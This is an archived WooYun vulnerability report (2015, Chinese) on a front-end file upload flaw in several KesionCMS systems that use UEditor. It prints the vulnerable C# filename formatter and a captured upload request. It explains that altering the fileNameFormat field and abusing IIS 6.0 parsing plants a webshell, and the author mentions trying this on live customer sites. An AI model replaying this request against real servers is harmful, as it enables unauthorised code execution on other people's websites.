当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103231

漏洞标题:KesionCMS多系统前台上传漏洞

相关厂商:kesion.com

漏洞作者: 路人甲

提交时间:2015-03-24 18:06

修复时间:2015-06-23 09:34

公开时间:2015-06-23 09:34

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向第三方安全合作伙伴开放
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开

简要描述:

详细说明:

涉及版本
KesionICMS 智能建站系统 V2.5
KesionEshop 在线商城系统 X1.0.141206
KesionIMALL 在线商城系统 V2.5
KesionEdu 网校培训系统 V2.5
下载地址:http://www.kesion.com/Product/
演示站 上传不了
虚拟机搭建测试
------------------------------------------------------------------------
由于上述系统 前台均 采用UEditor编辑器 //应该是二次开发的 造成此漏洞

2.png


3.png


涉及文件     \Plus\ueditor\uploader.cs
public static class NameFormater
{
public static string Format(string format, string filename)
{
if (String.IsNullOrEmpty(format))
{
format = "{filename}{rand:6}";
}
string ext = Path.GetExtension(filename);
filename = Path.GetFileNameWithoutExtension(filename);
format = format.Replace("{filename}", filename);
format = new Regex(@"\{rand(\:?)(\d+)\}", RegexOptions.Compiled).Replace(format, new MatchEvaluator(delegate(Match match)
{
int digit = 6;
if (match.Groups.Count > 2)
{
digit = Convert.ToInt32(match.Groups[2].Value);
}
Random rand = new Random();
return rand.Next((int)Math.Pow(10, digit), (int)Math.Pow(10, digit + 1)).ToString();
}));
format = format.Replace("{time}", DateTime.Now.Ticks.ToString());
format = format.Replace("{yyyy}", DateTime.Now.Year.ToString());
format = format.Replace("{yy}", (DateTime.Now.Year % 100).ToString("D2"));
format = format.Replace("{mm}", DateTime.Now.Month.ToString("D2"));
format = format.Replace("{dd}", DateTime.Now.Day.ToString("D2"));
format = format.Replace("{hh}", DateTime.Now.Hour.ToString("D2"));
format = format.Replace("{ii}", DateTime.Now.Minute.ToString("D2"));
format = format.Replace("{ss}", DateTime.Now.Second.ToString("D2"));
Regex invalidPattern = new Regex(@"[\\\/\:\*\?\042\<\>\|]");
format = invalidPattern.Replace(format, "");
return format + ext;
}
}


抓包

POST /plus/ueditor/imageUp.ashx HTTP/1.1
Host: demo.bkwy.org
Proxy-Connection: keep-alive
Content-Length: 824
Cache-Control: no-cache
Origin: http://demo.bkwy.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36
Content-Type: multipart/form-data; boundary=tmbtrfjfrrifujwmvskngarqwewwieuo
Accept: */*
Referer: http://demo.bkwy.org/ueditor/dialogs/image/imageUploader.swf
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: Admin=AdminID=76&AdminUser=admin&AdminPass=469e80d32c0559f8&UserType=1&PowerList=&DocPower=1&AdminLoginCode=; myShop=userName=iz8ez4tgy5gw; myViewRecord=userName=6jmr6hlgq7r9; ASP.NET_SessionId=wfkb2dffjuvnzauyqfpacemj; CheckCode=44T2L; User=userid=191&username=test&password=49ba59abbe56e057&RndPassword=K1P6WLJ957L2NCCPH1SX
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="fileName"
0000.gif
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="dir"
/UploadFiles/2015-3/76
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="Filename"
0000.gif
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="pictitle"
0000.gif
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="fileNameFormat"
{time}{rand:6} //这里是后缀前的时间 可以修改成随意东西除了asp asa aspx几个敏感东西
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="upfile"; filename="0000.gif"
Content-Type: application/octet-stream
xxxxxx
--tmbtrfjfrrifujwmvskngarqwewwieuo
Content-Disposition: form-data; name="Upload"
Submit Query
--tmbtrfjfrrifujwmvskngarqwewwieuo--


修改 fileNameFormat参数里的东西 利用iis6.0上传漏洞可拿下webshell

1.png


我随便找个案例测试吧。。

6.1.png


6.4.png


随便在案例里看了几个 这里都不能点击
但是源文件还是存在的
直接构造之

6.2.png


6.3.png


一个够了。
随便到案例里翻了翻 IIS6.0不少

漏洞证明:

6.3.png

修复方案:

你们懂得

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-03-25 09:33

厂商回复:

感谢的供,已安排测试!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-28 09:10 | cmdshell ( 实习白帽子 | Rank:40 漏洞数:9 )

    就没有人公布下嘛- -